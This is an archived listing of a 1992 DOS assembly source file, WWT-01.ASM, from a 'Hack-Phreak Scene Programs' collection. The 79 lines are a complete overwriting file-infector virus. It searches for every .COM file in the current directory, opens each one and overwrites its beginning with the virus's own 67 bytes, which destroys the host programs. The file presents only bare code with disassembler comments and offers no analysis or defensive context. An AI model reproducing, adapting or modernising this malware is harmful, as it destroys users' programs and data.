home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / WWT-01.ASM < prev    next >
Assembly Source File  |  1992-08-30  |  2KB  |  79 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    WWT-01                         ██
  7. ;██                                         ██
  8. ;██      Created:   15-Mar-91                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_009E_e    equ    9Eh
  14.  
  15. seg_a        segment    byte public
  16.         assume    cs:seg_a, ds:seg_a
  17.  
  18.  
  19.         org    100h
  20.  
  21. wwt-01        proc    far
  22.  
  23. start:
  24.         mov    dx,offset data_013D
  25.         mov    ah,4Eh            ; 'N'
  26.         mov    cx,1
  27.         int    21h            ; DOS Services  ah=function 4Eh
  28.                         ;  find 1st filenam match @ds:dx
  29.         jnc    loc_010E        ; Jump if carry=0
  30.         jmp    short loc_012C
  31. loc_010E:
  32.         mov    dx,data_009E_e
  33.         mov    ax,3D02h
  34.         int    21h            ; DOS Services  ah=function 3Dh
  35.                         ;  open file, al=mode,name@ds:dx
  36.         jnc    loc_011A        ; Jump if carry=0
  37.         jmp    short loc_012C
  38. loc_011A:
  39.         mov    bx,ax
  40.         call    sub_012E
  41.         mov    dx,80h
  42.         mov    ah,4Fh            ; 'O'
  43.         int    21h            ; DOS Services  ah=function 4Fh
  44.                         ;  find next filename match
  45.         jnc    loc_012A        ; Jump if carry=0
  46.         jmp    short loc_012C
  47. loc_012A:
  48.         jmp    short loc_010E
  49. loc_012C:
  50.         int    20h            ; DOS program terminate
  51.  
  52. wwt-01        endp
  53.  
  54. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  55. ;                   SUBROUTINE
  56. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  57.  
  58. sub_012E    proc    near
  59.         mov    dx,100h
  60.         mov    ah,40h            ; '@'
  61.         mov    cx,43h
  62.         int    21h            ; DOS Services  ah=function 40h
  63.                         ;  write file  bx=file handle
  64.                         ;   cx=bytes from ds:dx buffer
  65.         mov    ah,3Eh            ; '>'
  66.         int    21h            ; DOS Services  ah=function 3Eh
  67.                         ;  close file, bx=file handle
  68.         retn
  69. sub_012E    endp
  70.  
  71. data_013D    db    2Ah
  72.         db     2Eh, 43h, 4Fh, 4Dh, 00h
  73.  
  74. seg_a        ends
  75.  
  76.  
  77.  
  78.         end    start
  79.